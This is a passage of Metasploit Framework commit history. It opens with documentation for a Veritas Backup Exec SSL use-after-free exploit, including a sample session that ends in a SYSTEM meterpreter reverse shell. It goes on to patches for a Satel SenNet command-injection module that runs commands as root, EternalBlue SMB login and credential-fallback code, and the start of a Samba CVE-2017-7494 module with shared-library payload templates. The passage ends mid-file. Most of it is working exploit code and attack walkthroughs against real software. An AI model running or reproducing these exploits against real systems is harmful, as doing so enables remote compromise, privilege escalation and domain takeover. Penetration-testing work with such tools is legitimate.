default as the +`NT AUTHORITY\SYSTEM` user. + +A trial version of Backup Exec can be downloaded from Veritas' website; +currently the download is available +[here](https://www.veritas.com/trial/en/us/backup-exec-16.html). + + +## Vulnerability Description + +The agent accepts NDMP connections on TCP port 10000. The vendor-specific +`0xF383` NDMP packet type allows for NDMP connections to be wrapped in a SSL/TLS +session. Sub-type `4` initiates the SSL/TLS handshake; after successfully +completing this the client and server continue the NDMP session through the +SSL/TLS session. + +The agent makes use of OpenSSL to handle these SSL/TLS sessions. When a SSL/TLS +session is created, the agent creates necessary OpenSSL structures, including a +`struct BIO` from the connection's associated network socket using +`BIO_new_socket`. Upon the end of the SSL/TLS session, this structure is freed +by a call to `BIO_free` through a call to `SSL_free`. + +However, if a SSL/TLS connection is then re-established on the same NDMP +connection, the previously freed `BIO` is re-used in the new SSL/TLS session +even though it is no longer allocated. The `BIO` is stored during the first +connection setup and then retrieved during second connection setup as a member +of the `CSecuritySSLConnection` class, despite the call to `SSL_free` previously +freeing it. This leads to a use-after-free as the `BIO` contains a pointer to a +structure (`BIO_METHOD *method`) of function pointers that are used to perform +operations such as reading and writing from the wrapped `BIO` object (in this +case, the network socket). + +By overwriting the previously allocated `BIO` with controlled data, it is +possible to gain remote code execution when OpenSSL attempts to call one of +these function pointers. + + +## Verification Steps + +1. Install the Backup Exec server on a host. +2. Install the Backup Exec Remote Agent for Windows on another host, either + manually or through the server's remote agent installation feature. Note that + in this contrived test situation you should be sure to let the agent run for + a few minutes before continuing so it can finish initial startup work that + otherwise interferes with the exploit's heap manipulation. +3. Start `msfconsole`. +4. Select the module and configure it with, at minimum, the address of the host + running the remote agent: + ``` + use exploit/windows/backupexec/ssl_uaf + set RHOST [REMOTE AGENT HOST] + ``` +5. Check the service is running and potentially vulnerable with the `check` + command. +6. Select a target version using `set target [TARGET]`. +7. Select a payload and its options; for example: + ``` + set payload windows/x64/meterpreter/reverse_tcp + set LHOST [METASPLOIT HOST] + ``` +8. Start the exploit using the `exploit` command. +9. Hopefully get a `NT AUTHORITY\SYSTEM` shell :) + +An example session is as follows: + +``` +msf > use exploit/windows/backupexec/ssl_uaf +msf exploit(ssl_uaf) > set RHOST win10 +RHOST => win10 +msf exploit(ssl_uaf) > check + +Hostname: WIN10 +OS type: Windows NT +OS version: Major Version=10 Minor Version=0 Build Number=14393 ServicePack Major=0 ServicePack Minor=0 SuiteMask=256 ProductType=1 ProcessorType=AMD64 +Host ID: XXXX::XXXX:XXXX:XXXX:XXXX +Vendor: VERITAS Software, Corp. +Product: Remote Agent for NT +Revision: 9.2 +[*] win10:10000 The target appears to be vulnerable. +msf exploit(ssl_uaf) > show targets + +Exploit targets: + + Id Name + -- ---- + 0 Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64 + 1 Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86 + 2 Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64 + 3 Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86 + 4 Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64 + 5 Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86 + 6 Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64 + 7 Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86 + 8 Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64 + 9 Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86 + 10 Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64 + 11 Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86 + + +msf exploit(ssl_uaf) > set target 4 +target => 4 +msf exploit(ssl_uaf) > set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +msf exploit(ssl_uaf) > set LHOST 10.123.1.1 +LHOST => 10.123.1.1 +msf exploit(ssl_uaf) > exploit + +[*] Started reverse TCP handler on 10.123.1.1:4444 +[*] win10:10000 - Connecting sockets... +[*] win10:10000 - CA certificate ID = 8120a0e9 +[*] win10:10000 - Getting and handling a certificate signing request... +[*] win10:10000 - Agent certificate ID = 430b56d0 +[*] win10:10000 - Testing certificate... +[*] win10:10000 - Spraying TLS extensions... +[*] win10:10000 - Entering SSL mode on main socket... +[*] win10:10000 - Spraying TLS extensions... +[*] win10:10000 - Sending stages 2 to 4... +[*] win10:10000 - Closing TLS spray sockets... +[*] win10:10000 - Re-entering SSL mode on main socket... +[*] win10:10000 - Spraying stage 1... +[*] win10:10000 - Triggering UAF, attempt 1/50... +[*] Sending stage (1189423 bytes) to 10.123.1.2 +[*] win10:10000 - Spraying stage 1... +[*] win10:10000 - Triggering UAF, attempt 2/50... +[*] Meterpreter session 1 opened (10.123.1.1:4444 -> 10.123.1.2:49748) at 2017-05-23 21:53:07 +1200 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` + + +## Options + +Apart from the usual exploit module options such as `RHOST`, the module has a +few exploit-specific options. These should not normally need to be set or +changed from their default values in most situations as the exploit will pick +suitable values for them depending on the target selected. + +**NumSpraySockets** +The number of sockets connected to the remote agent in order to spray stage 1 of +the exploit, which should overwrite the freed `BIO`. + +**NumTLSSpraySockets** +The number of sockets connected to the remote agent in order to spray TLS +extensions. This is used to massage the low fragmentation heap in order to +increase chances of stage 1 successfully overwriting the freed `BIO`. + +**NumTriggerAttempts** +The number of attempts made to trigger the use-after-free for Windows 8+ +targets, where it is possible to retry calling the overwritten function pointer +multiple times. + + +## Scenarios + +The Backup Exec Remote Agent for Windows is installed on each host that has +local filesystems that should be backed up. These agents listen on the network +for NDMP connections (on port 10000), appearing in Nmap scans with scripts +enabled as follows: + +``` +Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-23 20:47 NZST +Nmap scan report for (...) +Host is up (0.0035s latency). +Not shown: 994 filtered ports +PORT STATE SERVICE VERSION +(...) +10000/tcp open ndmp Symantec/Veritas Backup Exec ndmp (NDMPv3) +|_ndmp-version: ERROR: Script execution failed (use -d to debug) +``` + +(Note that the `ndmp-version` script fails to execute due to not sending an +`NDMP_CONNECT_OPEN` request before querying version information with the +`NDMP_CONFIG_GET_HOST_INFO` request. This exploit module's `check` command will +carry this query out successfully.) + +While the exploit is not guaranteed to gain RCE (see the module's description), +in practise the agent is often widely installed in a Windows domain across a +range of hosts (including fileservers and domain controllers). This means +usually at least one instance of the agent will give a shell on a server where +it's easy enough to further escalate to Domain Administator from `SYSTEM`. From e94577357622aea5cd6e6874dad2194b5fe4e56e Mon Sep 17 00:00:00 2001 From: Carter Date: Tue, 23 May 2017 14:40:42 -0400 Subject: [PATCH 056/686] Update archmigrate.rb --- modules/post/windows/manage/archmigrate.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/archmigrate.rb b/modules/post/windows/manage/archmigrate.rb index 80d5530779..c3a1541628 100644 --- a/modules/post/windows/manage/archmigrate.rb +++ b/modules/post/windows/manage/archmigrate.rb @@ -23,7 +23,7 @@ class MetasploitModule < Msf::Post [ OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']), OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]), - OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have SYSTEM privileges', true]) + OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have SYSTEM privileges', false]) ], self.class ) From c73e7673b114625a820db15d6594d739516eaf3a Mon Sep 17 00:00:00 2001 From: Carter Date: Tue, 23 May 2017 15:13:55 -0400 Subject: [PATCH 057/686] Please the rubocop god --- modules/post/windows/manage/archmigrate.rb | 24 ++++++++++------------ 1 file changed, 11 insertions(+), 13 deletions(-) diff --git a/modules/post/windows/manage/archmigrate.rb b/modules/post/windows/manage/archmigrate.rb index c3a1541628..babffa6e09 100644 --- a/modules/post/windows/manage/archmigrate.rb +++ b/modules/post/windows/manage/archmigrate.rb @@ -89,19 +89,17 @@ class MetasploitModule < Msf::Post end end - - def run - if datastore['IGNORE_SYSTEM'] - do_migrate - elsif !datastore['IGNORE_SYSTEM'] && is_system? - print_error('You are running as SYSTEM! Aborting migration.') - elsif datastore['IGNORE_SYSTEM'] && is_system? - print_error('You are running as SYSTEM! You will lose your privileges!') - do_migrate - elsif !datastore['IGNORE_SYSTEM'] && !is_system? - print_status('You\'re not running as SYSTEM. Moving on...') - do_migrate - end + if datastore['IGNORE_SYSTEM'] + do_migrate + elsif !datastore['IGNORE_SYSTEM'] && is_system? + print_error('You are running as SYSTEM! Aborting migration.') + elsif datastore['IGNORE_SYSTEM'] && is_system? + print_error('You are running as SYSTEM! You will lose your privileges!') + do_migrate + elsif !datastore['IGNORE_SYSTEM'] && !is_system? + print_status('You\'re not running as SYSTEM. Moving on...') + do_migrate + end end end From f80c3aa3f433f594c688a4b5ca8b0ac9420a7e5c Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 23 May 2017 16:50:25 -0500 Subject: [PATCH 058/686] Correct absolute path --- modules/exploits/windows/smb/ms17_010_eternalblue.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index fe75550294..8f7213b534 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -696,7 +696,7 @@ class MetasploitModule < Msf::Exploit::Remote end def make_kernel_shellcode - # see: /external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm + # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm # Length: 1019 bytes #"\xcc"+ From af4eafdf70136becd47f550be0a5dfb915e47435 Mon Sep 17 00:00:00 2001 From: juushya Date: Wed, 24 May 2017 06:33:08 +0530 Subject: [PATCH 059/686] Updated module and doc --- .../scanner/telnet/satel_cmd_exec.md | 9 +++- .../scanner/telnet/satel_cmd_exec.rb | 41 ++++++------------- 2 files changed, 20 insertions(+), 30 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md b/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md index 0ab3e89e80..c4d72b410f 100644 --- a/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md +++ b/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md @@ -1,4 +1,9 @@ -This module exploits an OS Command Injection vulnerability in Satel SenNet Data Loggers to perform arbitrary command execution as 'root'. +This module exploits an OS Command Injection vulnerability in Satel SenNet Data Logger and Electricity Meters to perform arbitrary command execution as 'root'. + +The following versions of SenNet Data Logger and Electricity Meters, monitoring platforms, are affected: +1. SenNet Optimal DataLogger V5.37c-1.43c and prior, +2. SenNet Solar Datalogger V5.03-1.56a and prior, and +3. SenNet Multitask Meter V5.21a-1.18b and prior. ## Verification Steps @@ -16,7 +21,7 @@ msf auxiliary(satel_cmd_exec) > run [*] 1.3.3.7:5000 - Sending command now - id; [+] 1.3.3.7:5000 - uid=0(root) gid=0(root) -[+] 1.3.3.7:5000 - File saved in: /root/.msf4/loot/20000000000004_1.3.3.7_cmdexeclog_528409.txt +[+] 1.3.3.7:5000 - File saved in: /root/.msf4/loot/20000000000003_1.3.3.7_cmdexeclog_12345.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed diff --git a/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb b/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb index a8be39ab8c..b3fb7aea7b 100644 --- a/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb +++ b/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet include Msf::Auxiliary::Report @@ -12,10 +10,17 @@ class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Satel SenNet Data Logger Privileged Shell Arbitrary Command Execution Vulnerability', + 'Name' => 'Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability', 'Description' => %q{ - This module exploits an OS Command Injection vulnerability in Satel SenNet Data Loggers to perform arbitrary command execution as 'root'. + This module exploits an OS Command Injection vulnerability in Satel Iberia SenNet Data Loggers & Electricity Meters + to perform arbitrary command execution as 'root'. }, + 'References' => + [ + [ 'CVE', '2017-6048' ], + [ 'URL', 'https://ipositivesecurity.com/2017/04/07/sennet-data-logger-appliances-and-electricity-meters-multiple-vulnerabilties/' ], + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-131-02' ] + ], 'Author' => [ 'Karn Ganeshen ' @@ -29,45 +34,25 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(5000), OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]), - OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd;']) + OptString.new('CMD', [true, 'Command(s) to run', 'id']) ], self.class ) deregister_options('USERNAME', 'PASSWORD') end - def report_cred(opts) - service_data = { - address: opts[:ip], - port: opts[:port], - service_name: opts[:service_name], - protocol: 'tcp', - workspace_id: myworkspace_id - } - - login_data = { - last_attempted_at: Time.now, - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::SUCCESSFUL, - proof: opts[:proof] - }.merge(service_data) - - create_credential_login(login_data) - end - def run_host(ip) to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT'] begin ::Timeout.timeout(to) do command = datastore['CMD'] - inject = '$true; ' + "#{command}" + inject = "$true; #{command}" res = connect print_status("Sending command now - #{command}") sock.puts(inject) - data = sock.get_once(-1, 5) - + data = sock.get_once(-1, to) print_good("#{data}") loot_name = 'cmd-exec-log' @@ -77,7 +62,7 @@ class MetasploitModule < Msf::Auxiliary print_good("File saved in: #{p}") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError - print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + print_error("#{rhost}:#{rport} - Connection Failed...") return false ensure disconnect From dc67fcd5a800e06069735971a1adae1273e84a19 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 24 May 2017 15:40:05 -0500 Subject: [PATCH 060/686] use RubySMB for anonymous login use the new anonymous login capabilities in RubySMB --- Gemfile | 1 + Gemfile.lock | 2 +- .../windows/smb/ms17_010_eternalblue.rb | 26 ++----------------- 3 files changed, 4 insertions(+), 25 deletions(-) diff --git a/Gemfile b/Gemfile index 2f25738a86..9a3dd9a14d 100755 --- a/Gemfile +++ b/Gemfile @@ -6,6 +6,7 @@ gemspec name: 'metasploit-framework' gem 'bit-struct', git: 'https://github.com/busterb/bit-struct', branch: 'ruby-2.4' gem 'method_source', git: 'https://github.com/banister/method_source', branch: 'master' + # separate from test as simplecov is not run on travis-ci group :coverage do # code coverage for tests diff --git a/Gemfile.lock b/Gemfile.lock index 1c5394bfd6..aa3599cac8 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -345,7 +345,7 @@ GEM rspec-mocks (~> 3.6.0) rspec-support (~> 3.6.0) rspec-support (3.6.0) - ruby_smb (0.0.14) + ruby_smb (0.0.17) bindata rubyntlm windows_error diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index fea28b54ad..459da50b8a 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -283,30 +283,8 @@ class MetasploitModule < Msf::Exploit::Remote sock = connect(false) dispatcher = RubySMB::Dispatcher::Socket.new(sock) client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '') - client.negotiate - - pkt = make_smb1_anonymous_login_packet - sock.put(pkt) - - code, raw, response = smb1_get_response(sock) - - if code.nil? - raise RubySMB::Error::UnexpectedStatusCode, "No response to login request" - end - - unless code == 0 # WindowsError::NTStatus::STATUS_SUCCESS - raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login" - end - - client.user_id = response.uid - - - # todo: RubySMB throwing exceptions - # sess = RubySMB::SMB1::Packet::SessionSetupResponse.new(raw) - os = raw.split("\x00\x00")[-2] - # todo: rubysmb should set this automatically? - #client.peer_native_os = os - + client.login + os = client.peer_native_os tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") return client, tree, sock, os From 4c02b7b13af84dab0bad073bc1b40368ff2f0e56 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 24 May 2017 16:09:51 -0500 Subject: [PATCH 061/686] added credentialed fallback if anonymous login is blocked, then the user can supply credentials for the exploit to try as a fallback --- .../windows/smb/ms17_010_eternalblue.rb | 36 +++++++++++++++++-- 1 file changed, 33 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index 459da50b8a..85cbfe3592 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -5,6 +5,7 @@ require 'ruby_smb' require 'ruby_smb/smb1/packet' +require 'windows_error' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -27,13 +28,19 @@ class MetasploitModule < Msf::Exploit::Remote This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. + + The module will attempt to use Anonymous login to authenticate to perform the + exploit. If Anonymous login fails and credentials have been supplied via the + SMBUser, SMBPass, and SMBDomain datastore options, then it will try the exploit + again with those credentials. }, 'Author' => [ 'Sean Dillon ', # @zerosum0x0 'Dylan Davis ', # @jennamagius 'Equation Group', - 'Shadow Brokers' + 'Shadow Brokers', + 'thelightcosine' # RubySMB refactor and Fallback Credential mode ], 'License' => MSF_LICENSE, 'References' => @@ -85,7 +92,10 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ), OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ), OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ), - OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ) + OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ), + OptString.new('SMBUser', [ false, '(Fallback) The username to authenticate as', '']), + OptString.new('SMBPass', [ false, '(Fallback) The password for the specified username', '']), + OptString.new('SMBDomain', [ false, '(Fallback) The Windows domain to use for authentication', '.']), ]) end @@ -283,7 +293,27 @@ class MetasploitModule < Msf::Exploit::Remote sock = connect(false) dispatcher = RubySMB::Dispatcher::Socket.new(sock) client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '') - client.login + response_code = client.login + + unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS + if datastore['SMBUser'].present? && datastore['SMBPass'].present? + client = RubySMB::Client.new( + dispatcher, + smb1: true, + smb2: false, + username: datastore['SMBUser'], + password: datastore['SMBPass'], + domain: datastore['SMBDomain'] + ) + response_code = client.login + + unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS + raise RubySMB::Error::UnexpectedStatusCode, "Error with credentialed login: #{response_code.to_s}" + end + else + raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login: #{response_code.to_s}" + end + end os = client.peer_native_os tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") From 4ffe666b52c2deb6068f7c8a2b4c12d32bd1113e Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 24 May 2017 17:36:07 -0500 Subject: [PATCH 062/686] improve the cred fallback we might get a successful sessionsetup but a failure on IPC$ due to anonymous access --- .../windows/smb/ms17_010_eternalblue.rb | 55 ++++++++++++------- 1 file changed, 36 insertions(+), 19 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index 85cbfe3592..17b256b464 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -289,33 +289,29 @@ class MetasploitModule < Msf::Exploit::Remote end end - def smb1_anonymous_connect_ipc() + def smb1_anonymous_connect_ipc sock = connect(false) dispatcher = RubySMB::Dispatcher::Socket.new(sock) client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '') response_code = client.login + authed = false unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS - if datastore['SMBUser'].present? && datastore['SMBPass'].present? - client = RubySMB::Client.new( - dispatcher, - smb1: true, - smb2: false, - username: datastore['SMBUser'], - password: datastore['SMBPass'], - domain: datastore['SMBDomain'] - ) - response_code = client.login - - unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS - raise RubySMB::Error::UnexpectedStatusCode, "Error with credentialed login: #{response_code.to_s}" - end - else - raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login: #{response_code.to_s}" - end + client = authenticated_login(dispatcher) + authed = true end os = client.peer_native_os - tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") + + begin + tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") + rescue RubySMB::Error::UnexpectedStatusCode => e + if authed + raise e + else + client = authenticated_login + tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") + end + end return client, tree, sock, os end @@ -782,4 +778,25 @@ class MetasploitModule < Msf::Exploit::Remote end + def authenticated_login(dispatcher) + if datastore['SMBUser'].present? && datastore['SMBPass'].present? + client = RubySMB::Client.new( + dispatcher, + smb1: true, + smb2: false, + username: datastore['SMBUser'], + password: datastore['SMBPass'], + domain: datastore['SMBDomain'] + ) + response_code = client.login + + unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS + raise RubySMB::Error::UnexpectedStatusCode, "Error with credentialed login: #{response_code.to_s}" + end + else + raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login: #{response_code.to_s}" + end + client + end + end From 0520d7cf76f8e5e654cb60f157772200c1b9e230 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 24 May 2017 19:42:04 -0500 Subject: [PATCH 063/686] First crack at Samba CVE-2017-7494 --- .../src/elf/dll/elf_dll_armle_template.s | 92 ++++++ .../src/elf/dll/elf_dll_x86_template.s | 92 ++++++ data/templates/template_armle_linux_dll.bin | Bin 0 -> 246 bytes data/templates/template_x86_linux_dll.bin | Bin 0 -> 246 bytes lib/msf/util/exe.rb | 34 +- .../exploits/linux/samba/is_known_pipename.rb | 291 ++++++++++++++++++ 6 files changed, 505 insertions(+), 4 deletions(-) create mode 100644 data/templates/src/elf/dll/elf_dll_armle_template.s create mode 100644 data/templates/src/elf/dll/elf_dll_x86_template.s create mode 100644 data/templates/template_armle_linux_dll.bin create mode 100644 data/templates/template_x86_linux_dll.bin create mode 100644 modules/exploits/linux/samba/is_known_pipename.rb diff --git a/data/templates/src/elf/dll/elf_dll_armle_template.s b/data/templates/src/elf/dll/elf_dll_armle_template.s new file mode 100644 index 0000000000..8d14f71056 --- /dev/null +++ b/data/templates/src/elf/dll/elf_dll_armle_template.s @@ -0,0 +1,92 @@ +; build with: +; nasm elf_dll_armle_template.s -f bin -o template_armle_linux_dll.bin + +BITS 32 +org 0 +ehdr: + db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 + dw 3 ; e_type = ET_DYN + dw 40 ; e_machine = EM_ARMLE + dd 1 ; e_version = EV_CURRENT + dd _start ; e_entry = _start + dd phdr - $$ ; e_phoff + dd shdr - $$ ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 2 ; e_phnum + dw shentsize ; e_shentsize + dw 2 ; e_shnum + dw 1 ; e_shstrndx +ehdrsize equ $ - ehdr + +phdr: + dd 1 ; p_type = PT_LOAD + dd 0 ; p_offset + dd $$ ; p_vaddr + dd $$ ; p_paddr + dd 0xDEADBEEF ; p_filesz + dd 0xDEADBEEF ; p_memsz + dd 7 ; p_flags = rwx + dd 0x1000 ; p_align + +phdrsize equ $ - phdr + dd 2 ; p_type = PT_DYNAMIC + dd 7 ; p_flags = rwx + dd dynsection ; p_offset + dd dynsection ; p_vaddr + dd dynsection ; p_vaddr + dd dynsz ; p_filesz + dd dynsz ; p_memsz + dd 0x1000 ; p_align + +shdr: + dd 1 ; sh_name + dd 6 ; sh_type = SHT_DYNAMIC + dd 0 ; sh_flags + dd dynsection ; sh_addr + dd dynsection ; sh_offset + dd dynsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dd 8 ; sh_addralign + dd 7 ; sh_entsize +shentsize equ $ - shdr + dd 0 ; sh_name + dd 3 ; sh_type = SHT_STRTAB + dd 0 ; sh_flags + dd strtab ; sh_addr + dd strtab ; sh_offset + dd strtabsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dd 0 ; sh_addralign + dd 0 ; sh_entsize +dynsection: +; DT_INIT + dd 0x0c + dd _start +; DT_STRTAB + dd 0x05 + dd strtab +; DT_SYMTAB + dd 0x06 + dd strtab +; DT_STRSZ + dd 0x0a + dd 0 +; DT_SYMENT + dd 0x0b + dd 0 +; DT_NULL + dd 0x00 + dd 0 +dynsz equ $ - dynsection + +strtab: + db 0 + db 0 +strtabsz equ $ - strtab +global _start +_start: diff --git a/data/templates/src/elf/dll/elf_dll_x86_template.s b/data/templates/src/elf/dll/elf_dll_x86_template.s new file mode 100644 index 0000000000..2bf52e8d46 --- /dev/null +++ b/data/templates/src/elf/dll/elf_dll_x86_template.s @@ -0,0 +1,92 @@ +; build with: +; nasm elf_dll_x86_template.s -f bin -o template_x86_linux_dll.bin + +BITS 32 +org 0 +ehdr: + db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 + dw 3 ; e_type = ET_DYN + dw 3 ; e_machine = EM_386 + dd 1 ; e_version = EV_CURRENT + dd _start ; e_entry = _start + dd phdr - $$ ; e_phoff + dd shdr - $$ ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 2 ; e_phnum + dw shentsize ; e_shentsize + dw 2 ; e_shnum + dw 1 ; e_shstrndx +ehdrsize equ $ - ehdr + +phdr: + dd 1 ; p_type = PT_LOAD + dd 0 ; p_offset + dd $$ ; p_vaddr + dd $$ ; p_paddr + dd 0xDEADBEEF ; p_filesz + dd 0xDEADBEEF ; p_memsz + dd 7 ; p_flags = rwx + dd 0x1000 ; p_align + +phdrsize equ $ - phdr + dd 2 ; p_type = PT_DYNAMIC + dd 7 ; p_flags = rwx + dd dynsection ; p_offset + dd dynsection ; p_vaddr + dd dynsection ; p_vaddr + dd dynsz ; p_filesz + dd dynsz ; p_memsz + dd 0x1000 ; p_align + +shdr: + dd 1 ; sh_name + dd 6 ; sh_type = SHT_DYNAMIC + dd 0 ; sh_flags + dd dynsection ; sh_addr + dd dynsection ; sh_offset + dd dynsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dd 8 ; sh_addralign + dd 7 ; sh_entsize +shentsize equ $ - shdr + dd 0 ; sh_name + dd 3 ; sh_type = SHT_STRTAB + dd 0 ; sh_flags + dd strtab ; sh_addr + dd strtab ; sh_offset + dd strtabsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dd 0 ; sh_addralign + dd 0 ; sh_entsize +dynsection: +; DT_INIT + dd 0x0c + dd _start +; DT_STRTAB + dd 0x05 + dd strtab +; DT_SYMTAB + dd 0x06 + dd strtab +; DT_STRSZ + dd 0x0a + dd 0 +; DT_SYMENT + dd 0x0b + dd 0 +; DT_NULL + dd 0x00 + dd 0 +dynsz equ $ - dynsection + +strtab: + db 0 + db 0 +strtabsz equ $ - strtab +global _start +_start: diff --git a/data/templates/template_armle_linux_dll.bin b/data/templates/template_armle_linux_dll.bin new file mode 100644 index 0000000000000000000000000000000000000000..8539a773b343e5a924b0a93ce00fced66a9b204c GIT binary patch literal 246 zcmb<-^>JflWMqH=W(Exg5bqlhn*ebMRKkQofq@Aq#{`r`sD?nB9;BZQ#0CPG8n7Hhh=Bu0gUtfc%uul}KpKQWW}^chpa96dtUwG> R12P*#a{)03a6>305&#}^6Sn{W literal 0 HcmV?d00001 diff --git a/data/templates/template_x86_linux_dll.bin b/data/templates/template_x86_linux_dll.bin new file mode 100644 index 0000000000000000000000000000000000000000..7fc18f07e0b752b9eb9231ec9038ef91cbd83665 GIT binary patch literal 246 zcmb<-^>JflWMqH=W(H;k5bqlhn*ebMRKkQofq{uZ1Be;H@=#$g^?u*ldmzjX;t4PS z)i5xC*hi4C0gw&CAbF7aY#=rez|?@{AVLfrKpJcokY 'Samba is_known_pipename() Arbitrary Module Load', + 'Description' => %q{ + This module triggers an arbitrary shared library load vulnerability + in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module + requires valid credentials, a writeable folder in an accessible share, + and knowledge of the server-side path of the writeable folder. In + some cases, anonymous access combined with common filesystem locations + can be used to automatically exploit this vulnerability. + }, + 'Author' => + [ + 'steelo ', # Vulnerability Discovery + 'hdm', # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2017-7494' ], + [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ], + ], + 'Payload' => + { + 'Space' => 9000, + 'DisableNops' => true + }, + 'Platform' => 'linux', + # + # Targets are currently limited by platforms with ELF-SO payload wrappers + # + 'Targets' => + [ + [ 'Linux 